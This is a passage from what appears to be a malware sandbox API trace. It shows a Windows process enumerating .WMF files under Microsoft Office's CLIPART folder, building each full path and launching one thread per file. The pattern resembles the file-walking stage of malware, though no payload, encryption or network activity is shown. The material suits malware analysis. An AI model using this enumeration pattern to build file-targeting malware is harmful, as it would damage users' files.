(_String1="FD00799_.WMF", _String2=".") returned 1 [0152.849] wcscmp (_String1="FD00799_.WMF", _String2="..") returned 1 [0152.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d0b0 [0152.849] wcscpy (in: _Dest=0x1b85d0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.849] wcscat (in: _Dest=0x1b85d0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.849] wcscat (in: _Dest=0x1b85d0b0, _Source="FD00799_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" [0152.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1970 [0152.850] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0152.850] wcscmp (_String1="FD00814_.WMF", _String2=".") returned 1 [0152.850] wcscmp (_String1="FD00814_.WMF", _String2="..") returned 1 [0152.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c450 [0152.850] wcscpy (in: _Dest=0x1b85c450, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.850] wcscat (in: _Dest=0x1b85c450, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.850] wcscat (in: _Dest=0x1b85c450, _Source="FD00814_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" [0152.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x196c [0152.851] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0152.851] wcscmp (_String1="FD00965_.WMF", _String2=".") returned 1 [0152.852] wcscmp (_String1="FD00965_.WMF", _String2="..") returned 1 [0152.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cf00 [0152.852] wcscpy (in: _Dest=0x1b85cf00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.852] wcscat (in: _Dest=0x1b85cf00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.852] wcscat (in: _Dest=0x1b85cf00, _Source="FD00965_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" [0152.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cf00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1968 [0152.853] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0152.853] wcscmp (_String1="FD01074_.WMF", _String2=".") returned 1 [0152.853] wcscmp (_String1="FD01074_.WMF", _String2="..") returned 1 [0152.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c9f0 [0152.853] wcscpy (in: _Dest=0x1b85c9f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.853] wcscat (in: _Dest=0x1b85c9f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.853] wcscat (in: _Dest=0x1b85c9f0, _Source="FD01074_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" [0152.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1960 [0152.854] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0152.854] wcscmp (_String1="FD01084_.WMF", _String2=".") returned 1 [0152.854] wcscmp (_String1="FD01084_.WMF", _String2="..") returned 1 [0152.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c220 [0152.855] wcscpy (in: _Dest=0x1cf4c220, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.855] wcscat (in: _Dest=0x1cf4c220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.856] wcscat (in: _Dest=0x1cf4c220, _Source="FD01084_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" [0152.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1954 [0152.857] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0152.857] wcscmp (_String1="FD01176_.WMF", _String2=".") returned 1 [0152.857] wcscmp (_String1="FD01176_.WMF", _String2="..") returned 1 [0152.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bad0 [0152.857] wcscpy (in: _Dest=0x1cf4bad0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.857] wcscat (in: _Dest=0x1cf4bad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.857] wcscat (in: _Dest=0x1cf4bad0, _Source="FD01176_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" [0152.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1950 [0152.858] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0152.858] wcscmp (_String1="FD01191_.WMF", _String2=".") returned 1 [0152.858] wcscmp (_String1="FD01191_.WMF", _String2="..") returned 1 [0152.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x420540b0 [0152.859] wcscpy (in: _Dest=0x420540b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.859] wcscat (in: _Dest=0x420540b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.859] wcscat (in: _Dest=0x420540b0, _Source="FD01191_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" [0152.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420540b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194c [0152.860] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0152.860] wcscmp (_String1="FD01193_.WMF", _String2=".") returned 1 [0152.860] wcscmp (_String1="FD01193_.WMF", _String2="..") returned 1 [0152.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054140 [0152.860] wcscpy (in: _Dest=0x42054140, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.860] wcscat (in: _Dest=0x42054140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.860] wcscat (in: _Dest=0x42054140, _Source="FD01193_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" [0152.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1948 [0152.861] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0152.861] wcscmp (_String1="FD01196_.WMF", _String2=".") returned 1 [0152.861] wcscmp (_String1="FD01196_.WMF", _String2="..") returned 1 [0152.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x420541d0 [0152.862] wcscpy (in: _Dest=0x420541d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.862] wcscat (in: _Dest=0x420541d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.862] wcscat (in: _Dest=0x420541d0, _Source="FD01196_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" [0152.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420541d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1944 [0152.863] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0152.863] wcscmp (_String1="FD01548_.WMF", _String2=".") returned 1 [0152.863] wcscmp (_String1="FD01548_.WMF", _String2="..") returned 1 [0152.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054260 [0152.863] wcscpy (in: _Dest=0x42054260, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.863] wcscat (in: _Dest=0x42054260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.863] wcscat (in: _Dest=0x42054260, _Source="FD01548_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" [0152.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1940 [0152.864] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0152.864] wcscmp (_String1="FD01657_.WMF", _String2=".") returned 1 [0152.864] wcscmp (_String1="FD01657_.WMF", _String2="..") returned 1 [0152.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x420542f0 [0152.865] wcscpy (in: _Dest=0x420542f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.865] wcscat (in: _Dest=0x420542f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.865] wcscat (in: _Dest=0x420542f0, _Source="FD01657_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" [0152.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420542f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x192c [0152.866] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0152.866] wcscmp (_String1="FD01658_.WMF", _String2=".") returned 1 [0152.866] wcscmp (_String1="FD01658_.WMF", _String2="..") returned 1 [0152.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054380 [0152.867] wcscpy (in: _Dest=0x42054380, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.867] wcscat (in: _Dest=0x42054380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.867] wcscat (in: _Dest=0x42054380, _Source="FD01658_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" [0152.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1924 [0152.868] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0152.868] wcscmp (_String1="FD01659_.WMF", _String2=".") returned 1 [0152.868] wcscmp (_String1="FD01659_.WMF", _String2="..") returned 1 [0152.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054410 [0152.868] wcscpy (in: _Dest=0x42054410, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.868] wcscat (in: _Dest=0x42054410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.868] wcscat (in: _Dest=0x42054410, _Source="FD01659_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" [0152.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1914 [0152.869] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0152.869] wcscmp (_String1="FD01660_.WMF", _String2=".") returned 1 [0152.869] wcscmp (_String1="FD01660_.WMF", _String2="..") returned 1 [0152.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x420544a0 [0152.869] wcscpy (in: _Dest=0x420544a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.870] wcscat (in: _Dest=0x420544a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.870] wcscat (in: _Dest=0x420544a0, _Source="FD01660_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" [0152.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420544a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1908 [0152.870] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0152.871] wcscmp (_String1="FD02068_.WMF", _String2=".") returned 1 [0152.871] wcscmp (_String1="FD02068_.WMF", _String2="..") returned 1 [0152.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054530 [0152.871] wcscpy (in: _Dest=0x42054530, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.871] wcscat (in: _Dest=0x42054530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.871] wcscat (in: _Dest=0x42054530, _Source="FD02068_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" [0152.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1900 [0152.873] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0152.873] wcscmp (_String1="FD02071_.WMF", _String2=".") returned 1 [0152.873] wcscmp (_String1="FD02071_.WMF", _String2="..") returned 1 [0152.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x420545c0 [0152.874] wcscpy (in: _Dest=0x420545c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.874] wcscat (in: _Dest=0x420545c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.874] wcscat (in: _Dest=0x420545c0, _Source="FD02071_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" [0152.874] CreateThread 